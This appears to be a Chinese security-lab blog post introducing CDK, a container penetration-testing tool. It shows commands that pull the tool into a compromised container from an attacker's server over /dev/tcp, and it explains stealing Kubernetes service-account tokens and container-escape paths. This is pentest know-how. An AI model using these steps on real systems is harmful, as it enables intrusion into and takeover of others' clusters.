前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >云安全容器安全扫盲 之 CDK工具介绍与使用

云安全容器安全扫盲 之 CDK工具介绍与使用

作者头像
Ms08067安全实验室
发布2022-04-06 21:47:44
3.1K0
发布2022-04-06 21:47:44
举报
文章被收录于专栏:Ms08067安全实验室

文章来源|MS08067 安全实验室

声明:

MS08067安全实验室不会对圈内任何机构、公司发起任何舆论攻击、诋毁。也欢迎各界朋友各种形式的合作!

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。

GitHub地址:

https://github.com/cdk-team/CDK/

CDK 功能

CDK包括三个功能模块

Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。

Exploit: 提供容器逃逸、持久化、横向移动等利用方式。

Tool: 修复渗透过程中常用linux命令以及与Docker/K8s API交互命令。

使用场景

伴随着容器技术的快速发展,容器安全问题也逐渐成为企业所关注的话题。

针对容器场景的渗透测试一方面要求攻击者理解对Docker/K8s以及云服务的原理、特性以及漏洞利用方式;另一方面,攻击者通过业务漏洞(如WEB RCE)攻入容器后往往面对的是一个缩减后的容器环境,缺乏常用的linux命令依赖导致渗透效率不佳。

CDK为安全测试人员提供了golang原生的容器环境渗透能力,主要以下几点:

评估容器内部弱点、搜集敏感信息。

提供多种容器逃逸的漏洞利用方式。

提供K8s环境的多种持久化、横向移动方式。

提供原生的进程、网络命令,便于测试者自定义攻击操作。

技巧:在真实渗透中如何通过漏洞exploit向容器中投递CDK

如果你的漏洞利用过程允许上传文件,即可直接植入CDK。 如果你可以在目标容器中执行命令(RCE),但容器中没有wget或curl命令,可以参考下面方法植入:

将CDK下载到你的公网服务器,监听端口:

代码语言:javascript
复制
nc -lvp 999 < cdk

在已攻入的目标容器中执行:

代码语言:javascript
复制
cat < /dev/tcp/Your IP/Your prot > cdk
chmod a+x cdk

使用方法

Evaluate: 容器内部信息收集

[本地信息收集-系统信息]

[本地信息收集-环境变量,敏感进程,服务]

[本地信息收集-可用命令,特权容器]

如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff

[本地信息收集-容器挂载]

利用:Procfs目录挂载逃逸

https://github.com/cdk-team/CDK/wiki/Exploit:-mount-procfs

[本地信息收集-网络namespace隔离]

判断容器是否与宿主机共享Net Namespace, 如果docker以--net=host启动且containerd-shim存在虚拟unix socket时,可通过CVE-2020-15257进行逃逸。

[网络信息收集-K8s API Server]

检查ENV信息判断当前容器是否属于K8s Pod,获取K8s api-server连接地址并尝试匿名登录,如果成功意味着可以直接通过api-server接管K8s集群。

[网络信息收集-K8s Service Account 认证凭据]

K8s集群创建的Pod中,容器内部默认携带K8s Service Account的认证凭据

(/run/secrets/kubernetes.io/serviceaccount/token)

CDK将利用该凭据尝试认证K8s api-server服务器并访问高权限接口,如果执行成功意味着该账号拥有高权限,就可以直接利用Service Account 接管K8s集群。

[网络信息收集-云厂商内置Metadata API]

探测云厂商内置的Metadata接口,从该接口可以获取到服务器VM的基础信息如OS版本、CPU及网络、DNS配置等,少数情况下可以发现用户在Metadata中自定义的信息。

Evaluate术语

代码语言:javascript
复制
[Information Gathering - Services]
[Information Gathering - Commands and Capabilities]
[Information Gathering - Mounts]
[Information Gathering - Net Namespace]
[Information Gathering - Sysctl Variables]
[Discovery - K8s API Server]
[Discovery - K8s Service Account]
[Discovery - Cloud Provider Metadata API]

腾讯云、阿里云、实例云数据概述:

https://www.alibabacloud.com/help/zh/doc-detail/49122.htm

https://cloud.tencent.com/document/product/213/4934

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-03-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档